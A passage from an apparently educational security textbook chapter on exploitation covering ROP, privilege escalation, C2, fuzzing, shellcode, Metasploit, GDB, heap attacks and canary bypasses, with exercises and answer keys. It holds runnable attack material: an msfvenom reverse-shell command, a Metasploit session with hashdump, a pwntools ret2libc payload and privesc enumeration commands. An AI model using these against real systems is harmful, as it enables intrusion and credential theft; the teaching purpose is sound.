A realistic exploit therefore composes: leak an address to beat ASLR, read or avoid the canary, then pivot to a ROP chain to beat DEP. Tools such as ROPgadget and ropper find gadgets, and pwntools assembles the chain. The defensive lesson is layering: each mitigation forces additional attacker effort, and control-flow integrity (CFI) and shadow stacks raise the bar further by rejecting returns to unintended targets.

Exercises#

  1. In the Section 9.15 program, buffer is 64 bytes but the offset to the return address is 72. Account for the extra 8 bytes.

  2. Why is printf(user_input) dangerous while printf("%s", user_input) is safe?

  3. DEP makes the stack non-executable. Explain in one or two sentences how ROP achieves code execution anyway.

  4. An exploit must beat ASLR, a stack canary, and DEP. Give the standard technique that addresses each, in the order you would apply them.

Answer Key#

  1. The 64-byte buffer is followed by the 8-byte saved base pointer (RBP) on a 64-bit system; the return address sits immediately after it, at offset 64 + 8 = 72.

  2. In the first form, attacker-controlled data is interpreted as format specifiers (%x, %s, %n), enabling memory disclosure and arbitrary writes; the second treats the input strictly as data to print.

  3. ROP executes no new code; it chains existing instruction sequences (gadgets) ending in ret, so the CPU only ever runs already-executable code while performing attacker-chosen operations.

  4. Leak a runtime address (for example via a format-string or uninitialized read) to defeat ASLR; leak or avoid the canary so the overflow does not trip it; then place a ROP chain at the return address to defeat DEP.

9.18 Linux Privilege Escalation in Depth#

Section 9.14 mapped Windows and Active Directory paths; Linux has its own well-worn routes from a low-privilege shell to root, and enumerating them is a standard exercise. The most common are:

  • SUID and SGID binaries. A program with the SUID bit runs as its owner (often root) regardless of who launches it. If such a binary can be made to run arbitrary commands, spawn a shell, or write files, it hands over root. The GTFOBins project catalogs which standard binaries are exploitable this way; find / -perm -4000 -type f 2>/dev/null lists them.

  • Sudo misconfiguration. Overly broad sudoers rules (allowing a user to run an editor, interpreter, or wildcarded command as root) are trivially abused; sudo -l shows what is permitted, and known vulnerabilities such as Baron Samedit (CVE-2021-3156) escalated through sudo itself.

  • Linux capabilities. Fine-grained capabilities can grant dangerous powers without full root; a binary with cap_setuid can change its user ID to root. getcap -r / 2>/dev/null enumerates them.

  • Writable cron jobs and services. A script run by root’s cron or a systemd unit that a low-privilege user can edit becomes root execution on the next run.

  • Kernel exploits. An out-of-date kernel with a local-privilege-escalation vulnerability (the Dirty COW and Dirty Pipe classes) is escalated by a public exploit, though this is noisier and riskier than a misconfiguration.

The workflow is enumerate, then exploit: tools such as LinPEAS automate the search across all of the above, and the defensive mirror is to minimize SUID binaries, write narrow sudoers rules, drop capabilities, protect cron and unit files, and patch the kernel.

9.19 Windows Exploitation Specifics#

Windows user-mode exploitation adds techniques absent on Linux. Older 32-bit code protected control flow with Structured Exception Handling (SEH), and a class of exploits overwrites the SEH chain rather than the return address, redirecting execution when an exception fires; SafeSEH and SEHOP are the corresponding mitigations. When the vulnerable buffer is too small to hold a full payload, an egg hunter is a tiny piece of shellcode that searches memory for a tagged larger payload placed elsewhere. And because Windows API addresses move with ASLR, Windows shellcode resolves the functions it needs at runtime by walking the loaded modules in the Process Environment Block (the pattern the reverse engineer recognizes in Section 15.10). These specifics matter for a reverse-engineering course because they are exactly what an analyst sees when dissecting a Windows exploit or a piece of shellcode.

9.20 Command-and-Control and Post-Exploitation Frameworks#

Real intrusions rarely stop at a single exploit; they establish a command-and-control (C2) channel through which the attacker operates over time. A C2 framework gives an implant (the agent on the victim) a way to receive tasks and return results, usually over channels that blend into normal traffic: HTTPS that looks like web browsing, DNS queries, or legitimate cloud services (domain fronting and living-off-trusted-services). The dominant commercial framework, Cobalt Strike, is a legitimate red-team tool whose cracked copies are heavily abused by criminals; open-source successors such as Sliver, Mythic, and Havoc are now common. Their shared features are the ones defenders hunt for: beaconing at intervals (the pattern the threat hunt of Section 12.11 detects), configurable jitter to evade that detection, in-memory execution to avoid disk artifacts (Section 15.10), and modules for the credential theft, lateral movement, and persistence of Sections 9.11 through 9.14. Understanding C2 closes the loop between offense and defense: the same beaconing and injection behaviors that a framework automates are what network monitoring (Section 12.9), endpoint telemetry (Section 12.10), and memory forensics (Section 13.13) are built to catch.

Exercises#

  1. You land a low-privilege shell on Linux. List four categories of local privilege escalation you would enumerate, and give the command or tool that surfaces each.

  2. A 32-bit Windows program crashes with the SEH chain overwritten rather than the return address. What class of exploit is this, and what mitigations target it?

  3. Why does Windows shellcode resolve API addresses at runtime instead of hardcoding them, and where does it find them?

  4. Name three behaviors common to modern C2 frameworks and, for each, the defensive telemetry that detects it.

Answer Key#

  1. SUID/SGID binaries (find / -perm -4000), sudo misconfiguration (sudo -l), Linux capabilities (getcap -r /), and writable cron or systemd units (plus kernel version for known local-privilege- escalation exploits); LinPEAS automates the search.

  2. An SEH overwrite exploit; SafeSEH and SEHOP mitigate it by validating the exception-handler chain.

  3. ASLR randomizes module load addresses, so hardcoded addresses would be wrong; the shellcode walks the loaded-module list in the Process Environment Block to locate the functions it needs.

  4. Beaconing at intervals (network flow analysis), jitter and encrypted channels (endpoint process and command-line telemetry), and in-memory execution (memory forensics / malfind).

9.21 Finding Vulnerabilities: Fuzzing in Depth#

Exploitation starts with a bug, and the dominant way to find memory-corruption bugs at scale is fuzzing: feeding a program a flood of malformed and mutated inputs while watching for crashes that reveal a vulnerability. Section 9.8 mentioned fuzzing as the first step of the exploit workflow; here is the discipline behind it. Dumb (mutation) fuzzers randomly mutate valid inputs; smart (generation) fuzzers understand the input format and produce structurally valid but abusive cases; and modern coverage-guided fuzzers such as AFL++ and libFuzzer instrument the target to measure which code paths each input reaches, then evolve inputs toward new coverage using the genetic-algorithm idea of Section 9.8. Coverage guidance is what made fuzzing so productive, because it turns a blind search into a directed one. Fuzzing is dramatically more effective when paired with sanitizers compiled into the target, AddressSanitizer for memory-safety violations, UndefinedBehaviorSanitizer for undefined behavior, which turn silent corruption into an immediate, diagnosable crash. The lab below is a minimal mutation fuzzer against a toy parser, showing the core loop that AFL++ industrializes.

# Minimal mutation fuzzer: mutate a seed input and record inputs that trigger a
# "crash" in a toy target. Real fuzzers add coverage feedback, sanitizers, and
# corpus management, but the loop is this. Educational; fuzz only your own code.
import random

def target(data: bytes):
    # Toy "parser" with a planted bug: a specific length + byte triggers a fault.
    if len(data) > 8 and data[4:6] == b"\xff\xff":
        raise ValueError("crash: unhandled marker (a real bug would corrupt memory)")
    return len(data)

def mutate(seed: bytes) -> bytes:
    b = bytearray(seed)
    for _ in range(random.randint(1, 4)):
        op = random.random()
        if op < 0.4 and b:                      # flip a byte
            b[random.randrange(len(b))] ^= 1 << random.randrange(8)
        elif op < 0.7:                          # insert a byte
            b.insert(random.randrange(len(b) + 1), random.randrange(256))
        elif b:                                 # delete a byte
            del b[random.randrange(len(b))]
    return bytes(b)

random.seed(1)
seed, crashes = b"HTTP\x00\x00data....", []
for i in range(20000):
    case = mutate(seed)
    try:
        target(case)
    except Exception as e:
        crashes.append(case)
print(f"ran 20000 cases, found {len(crashes)} crashing input(s)")
if crashes:
    print("example crashing input (hex):", crashes[0].hex())

9.22 From Crash to Exploit: Reliability and Weaponization#

A crash is not an exploit. Turning a discovered bug into a dependable capability, weaponization, is its own engineering effort, and understanding it clarifies why not every vulnerability is equally dangerous. First the bug must be triaged for exploitability: a read-only crash may be a mere denial of service, while a controllable write to a return address or function pointer is a candidate for code execution. Then the exploit must be made reliable across the mitigations of Section 9.17 and across environmental variation, heap state, address-space layout, and target versions, which is why real exploits bundle information leaks, heap grooming, and version detection rather than a single overwrite. This difficulty is measured by industry frameworks: the Exploit Prediction Scoring System (EPSS) estimates the probability a vulnerability will be exploited in the wild, and CISA’s Known Exploited Vulnerabilities catalog lists those already weaponized, both of which the patch-prioritization of Section 11.18 uses to focus remediation on the bugs that actually matter rather than on raw severity scores. The defender’s takeaway is that the gap between a crash and a weaponized exploit is real and exploitable: mitigations that do not make exploitation impossible still make it costly and unreliable, which buys time and deters all but the most determined attackers.

Exercises#

  1. Distinguish dumb, smart, and coverage-guided fuzzing, and explain what coverage guidance adds.

  2. Why does compiling a target with AddressSanitizer make fuzzing more effective?

  3. A fuzzer finds a crash. Why is that not yet an exploit, and what two properties must a bug have to be a strong candidate for code execution?

  4. Two vulnerabilities have the same CVSS severity, but one is in CISA’s Known Exploited Vulnerabilities catalog and has a high EPSS score. Which do you patch first and why?

Answer Key#

  1. Dumb fuzzing mutates inputs blindly; smart fuzzing generates structurally valid but abusive inputs; coverage-guided fuzzing instruments the target and evolves inputs toward unexplored code paths, turning a blind search into a directed one that reaches deep bugs.

  2. Sanitizers turn silent memory corruption into an immediate, diagnosable crash, so the fuzzer detects bugs it would otherwise miss and pinpoints their cause.

  3. A crash only shows the program faulted; exploitation needs control. Strong candidates give the attacker a controllable write (to a return address or function pointer) and enough determinism to make the write reliable.

  4. The one in the Known Exploited Vulnerabilities catalog with a high EPSS score, because it is actively exploited and likely to be attacked; real-world exploitability, not the base severity score, should drive patch priority.

9.23 Case Study: Chaining Vulnerabilities into a Full Compromise#

Real intrusions rarely rely on one flaw; they chain several, each advancing the attacker one step, which is why this chapter’s topics form a sequence rather than a list. Follow an authorized red-team engagement that mirrors a genuine attack, tied to the sections that develop each stage.

Reconnaissance and initial access. The team maps the external attack surface (Chapters 7 and 8) and finds an unpatched web application with a known remote-code-execution vulnerability. A public exploit, understood and adapted rather than run blindly, yields a shell as the low-privilege web-server account. This is the exploitation of Sections 9.1 through 9.8, using someone else’s bug but the same workflow.

Privilege escalation. The web account is unprivileged, so the team enumerates the host (Section 9.18) and finds a SUID binary abusable via GTFOBins, escalating to root on the Linux server. On a Windows target the equivalent would be the unquoted-service-path or token-impersonation paths of Section 9.14.

Establishing persistence and C2. To survive a reboot, the team installs a persistence mechanism (Section 9.13) and establishes a command-and-control channel with a framework beacon (Section 9.20) configured with jitter to evade the flow analysis of Chapter 12.

Credential access and lateral movement. From the foothold, the team harvests credentials from memory and, on the Windows side, performs the Kerberoasting and pass-the-hash of Section 9.14, then moves laterally (Section 9.12) toward the domain controller, mapping the path with BloodHound.

Actions on objectives. Reaching domain administrator, the team demonstrates access to the target data and stops, documenting every step for the client report (Chapter 6). A criminal at this point would deploy ransomware or exfiltrate, the post-exploitation playbook of this chapter’s News in Focus.

The lesson for both attacker and defender is that the compromise depended on a chain: a single fix anywhere, patching the web app, removing the SUID binary, enforcing least privilege, segmenting the network, or detecting the beacon, would have broken it. Defense in depth works precisely because it forces the attacker to succeed at every link while the defender needs to win only once.

9.24 Defending Against Exploitation#

Understanding offense is in service of defense, so the chapter closes on the controls that stop the chain above. They operate at four layers.

Write safer code. Most memory-corruption bugs never exist in memory-safe languages (Rust, Go, managed languages), which is why the migration to them is a major industry defense; in C and C++, use bounds-checked functions, validate all input, and run static analysis and the sanitizer-assisted fuzzing of Section 9.21 in the build pipeline (Chapter 10’s DevSecOps).

Enable the platform mitigations. ASLR, DEP/NX, stack canaries, control-flow integrity, and shadow stacks (Section 9.17) do not make exploitation impossible but make it costly and unreliable, buying detection time; they must be turned on and kept on, which is the host-hardening of Section 11.15.

Reduce privilege and segment. Least privilege (Section 1.9), tiered administration, and network segmentation (Chapter 11) shrink what a single compromise reaches, turning a full-domain takeover into a contained incident.

Detect and respond. The exploitation, escalation, lateral movement, and C2 above all generate the telemetry that Chapters 12 through 14 turn into detection and response; assume-breach (Section 14.4) accepts that some exploit will land and focuses on catching what follows. The through-line of this chapter is that offense and defense are the same knowledge viewed from two sides: you cannot reliably defend against an exploitation technique you do not understand, and you cannot responsibly wield one without understanding the defenses it must overcome.

Exercises#

  1. The case-study compromise chained five stages. Name them in order and give, for each, one control that would have broken the chain there.

  2. Why does adopting a memory-safe language eliminate an entire class of the vulnerabilities in this chapter, and when is it not an option?

  3. Explain the asymmetry captured by “the attacker must win at every link, the defender only once,” and how defense in depth exploits it.

  4. Platform mitigations do not make exploitation impossible. State the defensive value they still provide.

Answer Key#

  1. Initial access via web RCE (patching/WAF), privilege escalation via SUID (remove SUID/least privilege), persistence and C2 (EDR detection/egress control), credential access and lateral movement (MFA, tiered admin, segmentation), actions on objectives (data-access controls, monitoring); any one breaks the chain.

  2. Memory-safe languages prevent buffer overflows, use-after-free, and related corruption by construction; they are not always an option for legacy C/C++ codebases, kernel and embedded code, or performance-critical paths that require manual memory management.

  3. The attacker must succeed at every stage to reach the objective, while the defender only needs to stop or detect one stage; layering independent controls maximizes the chances that at least one catches the attack.

  4. They make exploitation costly, unreliable, and often noisy, which deters less-capable attackers and buys the detection-and-response time that turns a would-be breach into a contained incident.

9.25 Shellcode in Practice#

Section 9.7 introduced shellcode; a reverse-engineering course also needs to see how it is written, generated, and constrained, because recognizing shellcode is a core analysis skill (Section 15.10). Shellcode is a small, position-independent payload that runs after control-flow hijack, so it cannot assume any load address and must locate everything it needs at runtime. Three constraints shape it. It must be self-contained: on Windows it walks the Process Environment Block to find loaded modules and resolves API addresses by hashing exported function names, the pattern an analyst recognizes; on Linux it invokes the kernel directly through system calls. It must often be free of bad bytes: because many vulnerable functions stop at a NUL byte (strcpy) or other delimiters, shellcode is written or encoded to avoid them, which is why encoded payloads (and their decoder stubs) are a common sight in analysis. And it must be compact, to fit the available buffer, which is why egg hunters (Section 9.19) exist. In practice payloads are generated rather than hand-written: msfvenom (the Metasploit payload generator) produces shellcode for a chosen platform, payload, and bad-byte set.

# Generate a Linux x64 reverse-shell payload, avoiding NUL and newline bytes,
# in C-array form for an exploit (authorized lab targets only)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
         -b '\x00\x0a' -f c

The defensive mirror is that shellcode’s requirements are also its detectable signatures: the PEB walk and API-hashing, the decoder stub, and the network callback are exactly what the endpoint telemetry of Section 12.10 and the memory forensics of Section 13.13 look for, which is why understanding shellcode construction directly informs its detection.

9.26 The Metasploit Workflow, End to End#

Section 9.10 introduced Metasploit; seeing its full workflow ties the chapter’s techniques into the tool students will actually use in a lab. A typical engagement against an authorized, vulnerable target runs:

msfconsole
msf6 > search type:exploit name:vsftpd        # find an exploit module
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 10.0.0.50                    # target
msf6 > set PAYLOAD cmd/unix/interact           # what to run on success
msf6 > check                                   # verify the target looks vulnerable
msf6 > exploit                                 # launch; a session opens on success
meterpreter > sysinfo                          # post-exploitation begins
meterpreter > getuid
meterpreter > hashdump                         # credential access (Section 9.14)
meterpreter > run post/multi/recon/local_exploit_suggester   # find privesc

The value of seeing this is conceptual, not just operational: each step maps to a phase of this chapter, module selection and check to exploitation (Sections 9.1 to 9.8), the payload to shellcode (Section 9.7), Meterpreter’s in-memory agent to the C2 of Section 9.20, and hashdump and the suggester to the privilege escalation and lateral movement of Sections 9.11 to 9.14. Metasploit is a teaching microcosm of the entire attack chain, which is also why its distinctive Meterpreter behaviors are a heavily signatured detection target for the defenses of Chapter 12. Used only against systems you are authorized to test, it is the standard lab environment for both offensive practice and building the detections that catch it.

Exercises#

  1. Give three constraints that shape how shellcode is written, and for each, the reason it exists.

  2. Why must Windows shellcode resolve API addresses at runtime, and how does it typically do so?

  3. Map four steps of the Metasploit workflow above to the corresponding phase of this chapter.

  4. Explain how understanding shellcode construction improves the defender’s ability to detect it.

Answer Key#

  1. Position-independence (it cannot know its load address), bad-byte avoidance (delimiters like NUL truncate the copy), and compactness (it must fit the exploitable buffer).

  2. ASLR randomizes module addresses, so hardcoded addresses fail; the shellcode walks the Process Environment Block to find loaded modules and resolves functions by hashing their exported names.

  3. Module selection/check = exploitation; PAYLOAD = shellcode; Meterpreter session = command-and-control; hashdump/local-exploit-suggester = credential access and privilege escalation.

  4. Shellcode’s fixed requirements (PEB walking and API hashing, a decoder stub, a network callback) are detectable signatures, so knowing how it must be built tells the defender exactly what behaviors and memory patterns to hunt for.

9.27 The Machine Underneath: Registers, the Stack, and Calling Conventions#

Every technique in this chapter, and every reverse-engineering task in Chapter 15, rests on a small model of how the processor actually runs code. This section builds that model for the x86-64 architecture, because you cannot reason about a buffer overflow, read a disassembly, or build a ROP chain without it.

Registers. A modern x86-64 CPU has sixteen general-purpose 64-bit registers. A handful have conventional roles that show up constantly in disassembly:

Register

Conventional role

rax

Return value of a function; accumulator

rdi, rsi, rdx, rcx, r8, r9

First six integer/pointer arguments (System V, that is, Linux/macOS)

rsp

Stack pointer: always points at the top of the stack

rbp

Base (frame) pointer: anchors the current function’s stack frame

rip

Instruction pointer: address of the next instruction to execute

rbx, r12 to r15

Callee-saved scratch registers

The 64-bit registers have 32-, 16-, and 8-bit sub-registers (rax contains eax, which contains ax, which contains al), which is why the same logical value appears under different names in a listing.

The stack. The stack is a region of memory that grows downward, from high addresses toward low ones. push subtracts 8 from rsp and writes a value at the new top; pop reads the top and adds 8 back. The stack holds return addresses, saved registers, and local variables. Because it grows down but arrays are written upward, a buffer that overflows runs straight into the saved return address above it, which is the whole mechanism of Section 9.4.

Calling conventions. A calling convention is the contract that lets separately compiled functions interoperate: who puts arguments where, who cleans up, and which registers a callee may clobber. The two you will meet are the System V AMD64 ABI (Linux and macOS) and the Microsoft x64 convention (Windows). They differ mainly in argument registers:

First four to six integer args

Stack alignment

Shadow space

System V (Linux/macOS)

rdi, rsi, rdx, rcx, r8, r9

16-byte at call

none

Microsoft x64 (Windows)

rcx, rdx, r8, r9

16-byte at call

32 bytes reserved by caller

Knowing the convention is what lets you read a call site: on Linux, the value the program moves into rdi right before a call is that function’s first argument. This is exactly how you find the argument to system() in a ret2libc attack (Section 9.29), and how a malware analyst recognizes what an API call is doing (Section 15.22).

A function call, step by step. When code executes call foo, the CPU pushes the address of the next instruction (the return address) onto the stack and jumps to foo. A typical function then runs a prologue that saves the caller’s frame pointer and establishes its own:

foo:
    push rbp            ; save caller's frame pointer
    mov  rbp, rsp       ; rbp now anchors this frame
    sub  rsp, 0x20      ; reserve 32 bytes for locals
    ...                 ; function body
    leave              ; undo the frame (mov rsp,rbp ; pop rbp)
    ret                ; pop return address into rip, jump back

The stack frame at the moment the body runs looks like this, from high to low addresses:

higher addresses
   [ caller's data ... ]
   [ return address    ]  <- pushed by CALL
   [ saved rbp         ]  <- pushed by prologue; rbp points here
   [ local variables   ]
   [ buffer[]          ]  <- rsp points near here
lower addresses

An overflow of buffer[] writes upward toward saved rbp and the return address, which is why controlling the return address (Section 9.4) requires knowing the exact distance, the offset, from the buffer to that slot. The next section finds that offset with a debugger.

Exercises#

  1. In which direction does the x86-64 stack grow, and why does that turn a buffer overflow into control of the return address?

  2. On a Linux (System V) system, which register holds the first argument to a function, and how does that help you read a call site in a disassembly?

  3. What three things does a typical function prologue do?

  4. Name one concrete difference between the System V and Microsoft x64 calling conventions.

Answer Key#

  1. It grows downward (toward lower addresses), while arrays are filled upward, so overflowing a local buffer overwrites the saved frame pointer and the return address stored at higher addresses just above it.

  2. rdi. The value moved into rdi immediately before a call is the callee’s first argument, so you can read what a function is being invoked with.

  3. It pushes (saves) the caller’s frame pointer, sets rbp to the current stack pointer to anchor the new frame, and subtracts from rsp to reserve space for local variables.

  4. Argument registers differ (System V uses rdi, rsi, rdx, rcx, r8, r9; Microsoft x64 uses rcx, rdx, r8, r9), and Windows requires 32 bytes of caller-reserved shadow space. Either point is acceptable.

9.28 A Debugger Session, Step by Step#

Section 9.4 said the attacker finds the offset to the return address; this section shows how, using GDB (the GNU Debugger) against an authorized, deliberately vulnerable program. The workflow is the same one every exploit developer and malware analyst uses, so it is worth walking through concretely.

Suppose vuln reads input into a 64-byte buffer with an unbounded gets. The classic method is to feed a cyclic pattern, a non-repeating string in which every four-byte window is unique, so the four bytes that land in the return address tell you the exact offset.

# 1. Generate a unique cyclic pattern (pwntools or the Metasploit pattern tool)
$ python3 -c "from pwn import *; print(cyclic(200).decode())"
aaaabaaacaaadaaaeaaaf...        # every 4-byte window is distinct

# 2. Run under GDB and feed the pattern
$ gdb ./vuln
(gdb) run <<< "aaaabaaacaaad...(200 bytes)..."
Program received signal SIGSEGV, Segmentation fault.
(gdb) info registers rsp rip     # crash: rip was overwritten from the stack
rip 0x0000000000000000...        # or the pattern bytes, depending on target

# 3. Read the 4 bytes that landed where the return address goes
(gdb) x/wx $rsp                  # examine the top of the stack as hex word
0x7fffffffe1c8: 0x64616166       # "faad" -> look this up in the pattern

# 4. Compute the offset from the crash value
$ python3 -c "from pwn import *; print(cyclic_find(0x64616166))"
72                               # the return address sits 72 bytes into the input

The offset (72 here) is the length of padding before the four or eight bytes that overwrite the saved return address. With it, the payload from Section 9.4 becomes concrete: 72 filler bytes, then the address you want in rip. A few GDB commands do most of the work in any such session:

Command

What it does

break main / b *0x...

Set a breakpoint at a symbol or address

run / r

Start the program

continue / c

Resume until the next breakpoint

stepi / nexti

Execute one machine instruction

info registers

Dump all register values

x/20xg $rsp

Examine 20 giant (8-byte) words at the stack pointer, in hex

x/5i $rip

Disassemble the next 5 instructions

disassemble foo

Show the disassembly of function foo

Modern practice adds a GDB enhancement such as GEF, pwndbg, or PEDA, which auto-displays registers, stack, and disassembly at every stop and provides helpers like pattern create and pattern search. The concept is unchanged: pause execution, inspect memory and registers, and reason about what the code is doing. That single skill, controlled inspection of a running program, is the heart of both dynamic exploit development and the dynamic malware analysis of Section 15.25.

Exercises#

  1. Why does a cyclic (De Bruijn) pattern let you read the offset to the return address directly from the crash?

  2. What does x/20xg $rsp display, and why is examining the stack after a crash useful?

  3. A cyclic pattern produces offset 72 on a 64-bit target. Describe the layout of the exploit payload.

  4. Name two things a GDB enhancement such as pwndbg or GEF adds to a bare debugger session.

Answer Key#

  1. Because every fixed-width window in the pattern is unique, the specific bytes that overwrite the return address correspond to exactly one position in the pattern, which is the offset.

  2. It examines 20 eight-byte words starting at the stack pointer, in hexadecimal; after a crash this shows the overflow data and helps locate the return-address slot and any pointers under attacker control.

  3. 72 bytes of padding to reach the saved return address, followed by the 8-byte target address to load into rip, followed by any further ROP chain or shellcode pointer.

  4. Any two of: automatic register/stack/disassembly display at each stop, pattern create/search helpers, heap inspection commands, and readable formatting of pointers and memory.

9.29 Return-Oriented Programming, Worked#

Section 9.6 explained why data-execution prevention (DEP) makes injected shellcode non-executable, and why attackers respond with return-oriented programming (ROP). This section works a concrete ROP chain so the idea is tangible rather than abstract.

A gadget is a short sequence of existing, already-executable instructions that ends in ret. Because ret pops the next address off the stack and jumps to it, an attacker who controls the stack can chain gadgets: each ret launches the next gadget, and the stack becomes a little program. The goal of a first ROP chain is usually to call system("/bin/sh") or to call mprotect to make injected shellcode executable.

Consider building a call to execve-style behavior via a ret2libc chain. On System V, the first three arguments go in rdi, rsi, rdx, so the attacker needs gadgets that load those registers, then a final jump to the target function:

# Gadgets located in the binary or libc (found with ROPgadget or ropper):
0x401234 : pop rdi ; ret          # load rdi from the stack, then return
0x401256 : pop rsi ; ret
0x401278 : pop rdx ; ret
<addr of system>                  # target function

# Stack layout the overflow writes (after the 72-byte pad from 9.28):
[ 72 bytes padding        ]
[ 0x401234  pop rdi ; ret ]  -> next stack value goes into rdi
[ &"/bin/sh"              ]  -> rdi = pointer to the string
[ <addr of system>        ]  -> ret jumps here with rdi set

When the vulnerable function returns, execution lands on pop rdi ; ret, which loads the address of the string "/bin/sh" into rdi and returns into system, which runs the shell. Real chains are longer because they must also satisfy stack alignment (a stray ret gadget is often inserted to align to 16 bytes before a libc call) and may have to leak an address first to defeat ASLR (Section 9.6).

The tooling matches the concept: ROPgadget --binary ./vuln or ropper enumerates available gadgets, and frameworks such as pwntools assemble chains programmatically:

# Conceptual pwntools sketch (authorized targets only)
from pwn import *
elf  = ELF('./vuln')
libc = elf.libc
rop  = ROP(elf)
rop.raise_and_call = None
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload  = b'A' * 72                       # offset from 9.28
payload += p64(pop_rdi)                    # gadget: load rdi
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.symbols['system'])     # call system("/bin/sh")

The defensive reading closes the loop with Section 9.6: ROP is why modern mitigations add control-flow integrity (CFI), shadow stacks (Intel CET), and pointer authentication (ARM PAC), all of which attack the assumption that a ret may go anywhere the stack says. Understanding how a chain is built is what makes those defenses legible.

Exercises#

  1. What is a ROP gadget, and why must it end in ret?

  2. In a System V ret2libc chain that calls system("/bin/sh"), what is the job of a pop rdi ; ret gadget?

  3. Why do real ROP chains often include a lone ret gadget before a libc call?

  4. Name one modern mitigation aimed specifically at ROP and the assumption it breaks.

Answer Key#

  1. A gadget is a short run of existing executable instructions ending in ret; the ret pops the next address from the attacker-controlled stack and jumps to it, which is what chains one gadget into the next.

  2. It loads the pointer to the string "/bin/sh" from the stack into rdi, the first-argument register, so that the subsequent return into system calls system("/bin/sh").

  3. To fix stack alignment; the x86-64 ABI requires 16-byte alignment at a call, and an extra ret shifts the stack by 8 bytes to satisfy it before entering libc.

  4. Control-flow integrity, Intel CET shadow stacks, or ARM pointer authentication; each breaks the assumption that a ret may transfer control to any address the stack supplies.

9.30 Heap Exploitation Internals#

Section 9.5 introduced heap corruption, use-after-free, and double-free at a conceptual level. A reverse engineer needs one level more, because heap bugs dominate modern exploitation of browsers and system services, and understanding them requires knowing how the allocator lays memory out.

Chunks and bins. The glibc allocator (ptmalloc) hands out memory in chunks. Each chunk carries metadata, notably its size and, when free, forward and backward pointers that link it into a free list. Free chunks are sorted into bins by size: fast bins and tcache for small chunks (singly linked, last-in-first-out), and unsorted, small, and large bins for the rest. The tcache (thread-local cache), added in glibc 2.26, is the structure most modern heap exploits target because its checks were historically weak.

Why use-after-free is powerful. When a chunk is freed, the allocator writes list pointers into the chunk’s own memory. If the program keeps and reuses a dangling pointer to that freed chunk (a use-after-free), the attacker can read those pointers (leaking heap or library addresses to defeat ASLR) or, by getting the chunk reallocated for attacker-controlled data, overwrite an object of a different type, for example one containing a function pointer or virtual-table pointer that is later called.

Tcache poisoning, in concept. A canonical modern primitive works like this:

1. Allocate two chunks A and B of the same size.
2. Free A, then free B  -> tcache list for that size: B -> A
3. Use a bug (overflow into B, or a use-after-free write) to overwrite
   B's "next" pointer so it points at a target address T.
   tcache list now effectively: B -> T
4. Allocate twice. The first allocation returns B; the second returns T,
   handing the attacker a chunk located at an address they chose.
5. Write to that chunk to corrupt whatever lives at T (a function
   pointer, __free_hook historically, a return address, etc.).

This converts a single heap write bug into an arbitrary-write primitive: the ability to place attacker data at an address of the attacker’s choosing, which is typically game over. Hardening has responded in step. Recent glibc adds pointer mangling (the tcache next pointer is XORed with a per-heap secret, so an attacker must first leak that secret), key fields that detect double-frees, and size sanity checks. The arms race here mirrors the stack: each primitive provokes a specific mitigation.

The practical lesson for analysis and defense is that heap exploitation is structural. You reason about it by reasoning about allocator metadata and object lifetimes, which is why tools such as GDB’s heap plug-ins (pwndbg’s bins, heap, and vis_heap_chunks) exist to visualize the very lists this section describes. For a defender, the same understanding explains why allocator hardening, safe-unlinking, and memory-safe languages (Section 9.24) are the durable fixes rather than any single check.

Exercises#

  1. Where does the glibc allocator store the free-list pointers for a freed chunk, and why does that make use-after-free so useful to an attacker?

  2. What is the tcache, and why is it a frequent target of modern heap exploits?

  3. Summarize what tcache poisoning achieves in terms of attacker capability.

  4. Name two ways recent glibc versions harden the tcache against this technique.

Answer Key#

  1. Inside the freed chunk’s own memory. A dangling pointer to that chunk therefore lets the attacker read the stored pointers (leaking addresses) or, after reallocation, overlay a different object type over that memory.

  2. The tcache is a per-thread cache of recently freed small chunks kept on singly linked LIFO lists; its historically weak validation made it easy to corrupt the next pointer, so it is a favored target.

  3. It yields an arbitrary write: the attacker causes a later allocation to return a chunk at an address of their choosing, then writes there to corrupt a sensitive value such as a function pointer or return address.

  4. Any two of: pointer mangling of the tcache next pointer with a per-heap secret, a per-chunk key to detect double-frees, and size/alignment sanity checks on chunks taken from the cache.

9.31 Defeating Modern Mitigations: Information Leaks and Canary Bypasses#

Section 9.6 catalogued the mitigations that make naive exploitation fail: stack canaries, DEP, ASLR, and PIE. A reverse-engineering or exploit-development course has to go one step further and show how real exploits get around them, because on a modern system a single memory-corruption bug rarely gives control by itself. The recurring answer is that exploitation has become a two-stage process: first leak, then overwrite.

The information leak. Address-space layout randomization (ASLR) places the stack, heap, and libraries at addresses that change each run, so an attacker cannot hardcode a target address. The counter is an information leak: a separate bug, or a second use of the same bug, that discloses a runtime address. A format-string bug that prints stack contents (Section 9.16), an uninitialized-memory read, or an out-of-bounds read that returns adjacent memory can each reveal a pointer. From one leaked libc address the attacker computes every other libc address, because the offsets within libc are fixed; ASLR randomizes the base, not the internal layout. This is why the ROP chain of Section 9.29 usually begins with a leak stage before it can name the address of system.

Bypassing the stack canary. A stack canary is a random value placed between the local buffers and the saved return address; the function checks it before returning and aborts if it changed, catching a linear overflow. Three standard bypasses:

1. Leak it. Use an info-leak primitive to read the canary value, then
   include the correct canary in the overflow so the check passes.
2. Overwrite around it. If the bug is not a linear stack smash (for
   example an arbitrary write, or an overflow of a struct that reaches a
   pointer without crossing the canary), the canary is never disturbed.
3. Brute force it (forking servers only). A process that forks keeps the
   same canary in each child, so an attacker can guess it byte by byte,
   using crash-versus-no-crash as an oracle (256 tries per byte, not 2^64).

Partial overwrites. When ASLR randomizes only the high bits of an address, an attacker can overwrite just the low byte or two of a saved pointer to redirect it a short, known distance without needing a full leak, because the randomized bits are left untouched. This is a favorite trick against PIE binaries where a full address is unknown but a nearby target is reachable.

The defensive reading closes the loop with Section 9.24: because a single bug is often insufficient, eliminating info-leak primitives (zeroing freed memory, bounds-checking reads) is as important as preventing the write, and memory-safe languages remove whole categories of both. Understanding the leak-then-overwrite pattern is what lets a defender see why a seemingly minor read bug is a critical part of an exploit chain.

Exercises#

  1. Why has exploitation of modern systems become a two-stage (leak, then overwrite) process?

  2. From a single leaked libc address, how does an attacker obtain the address of system, and why does ASLR not prevent this?

  3. Describe two distinct ways to bypass a stack canary.

  4. Why is a partial overwrite effective against a PIE binary under ASLR?

Answer Key#

